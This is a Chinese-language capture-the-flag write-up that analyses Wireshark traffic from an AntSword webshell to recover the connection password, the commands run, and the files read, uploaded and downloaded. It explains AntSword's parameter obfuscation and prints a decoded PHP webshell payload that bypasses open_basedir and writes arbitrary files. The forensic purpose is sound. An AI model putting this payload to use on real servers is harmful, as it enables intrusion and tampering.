第六章 流量特征分析-蚁剑流量分析

第六章 流量特征分析-蚁剑流量分析

第六章 流量特征分析-蚁剑流量分析

1.木马的连接密码是多少

2.黑客执行的第一个命令是什么

3.黑客读取了哪个文件的内容,提交文件绝对路径

4.黑客上传了什么文件到服务器,提交文件名

5.黑客上传的文件内容是什么

6.黑客下载了哪个文件,提交文件绝对路径

1.木马的连接密码是多少

webshell链接工具是用post传输的我们直接在wireshark里面输入命令

http.request.method =="POST"

来定位用post传输的流量

在未启用编码器或使用默认配置时,木马密码直接作为POST请求的第一个参数名出现。

打开第一个就能看到链接密码

flag{1}

2.黑客执行的第一个命令是什么

上一题我们知道1.php为黑客上传的shell了这里我们对这个文件进行搜索

http contains "1.php"

打开长度为894的流量包 右键 追踪http流 作

在蚁剑流量中,黑客执行的命令隐藏在 POST请求的特定参数值 中,需关注以下特征:

参数命名规则:

参数名格式为 ma[16位随机字符]、uc[16位随机字符](如示例中的 ucc3f8650c92ac)。

此类参数携带经过混淆的命令负载。

混淆机制:

参数值前2字符为蚁剑生成的随机字符(用于绕过简单规则检测),后续内容为Base64编码的命令序列。

将post请求体末尾的base64代码去掉头两位复制到base63解码即可看到黑客的操

flag{id}

3.黑客读取了哪个文件的内容,提交文件绝对路径

继续分析流量包,在856这个流量包这里将命令解码

将post请求包复制到网站进行url解码https://www.toolhelper.cn/EncodeDecode/Url

就可以看到明文传输,直接复制也可以

将最后base64加密的代码复制去掉前两位:这是蚁剑的随机前缀即可解密拿到明文密码

题目问我们黑客读取了哪个文件

flag{/etc/passwd}

4.黑客上传了什么文件到服务器,提交文件名

继续分析流量包在长度为646这里发现了黑客上传的文件

去掉前两位拿去url解码在base64解码

flag{flag.txt}

5.黑客上传的文件内容是什么

这一题其实一题里面就能看的出来,将上一题的请求体拿去url解码

整理一下

1=@ini_set("display_errors", "0");

@set_time_limit(0);

$opdir=@ini_get("open_basedir");

if($opdir) {

$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);

$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);

@array_push($oparr,$ocwd,sys_get_temp_dir());

foreach($oparr as $item) {

if(!@is_writable($item)){continue;};

$tmdir=$item."/.368479785";

@mkdir($tmdir);

if(!@file_exists($tmdir)){continue;}

$tmdir=realpath($tmdir);

@chdir($tmdir);

@ini_set("open_basedir", "..");

$cntarr=@preg_split("/\\\\|\//",$tmdir);

for($i=0;$i

@chdir("..");

};

@ini_set("open_basedir","/");

@rmdir($tmdir);

break;

};

};

function asenc($out){return $out;};

function asoutput(){

$output=ob_get_contents();

ob_end_clean();

echo "6960"."cb205";

echo @asenc($output);

echo "1e0a"."91914";

}

ob_start();

try{

$f=base64_decode(substr($_POST["t41ffbc5fb0c04"],2));

$c=$_POST["ld807e7193493d"];

$c=str_replace("\r","",$c);

$c=str_replace("\n","",$c);

$buf="";

for($i=0;$i

$buf.=urldecode("%".substr($c,$i,2));

echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");

}catch(Exception $e){

echo "ERROR://".$e->getMessage();

};

asoutput();

die();

&ld807e7193493d=666C61677B77726974655F666C61677D0A

&t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA==

通过 $_POST["t41ffbc5fb0c04"] 接收Base64编码的目标文件路径(解码后为 /var/[www/html/flag.txt](https://www/html/flag.txt))。

通过 $_POST["ld807e7193493d"] 接收十六进制编码的文件内容(解码后为 flag{write_flag}),并写入目标文件 。

使用 fopen($f, "a") 以追加模式打开文件,fwrite() 写入内容,成功返回 1,失败返回 0 。

https://try8.cn/tool/code/hex 使用解码器解码

flag{write_flag}

6.黑客下载了哪个文件,提交文件绝对路径

继续分析1.php的流量在最后一个流量包里面,将里面的请求体进行url解码

可以看到黑客的操作

通过POST参数t41ffbc5fb0c04传递Base64编码的目标路径(2eL3Zh... → 解码后为/var/[www/html/config.php](https://www/html/config.php))。

使用readfile()函数读取文件内容并输出到响应流

将最后一段base64编码解码可以看到访问路径

flag{/var/www/html/config.php}

相关推荐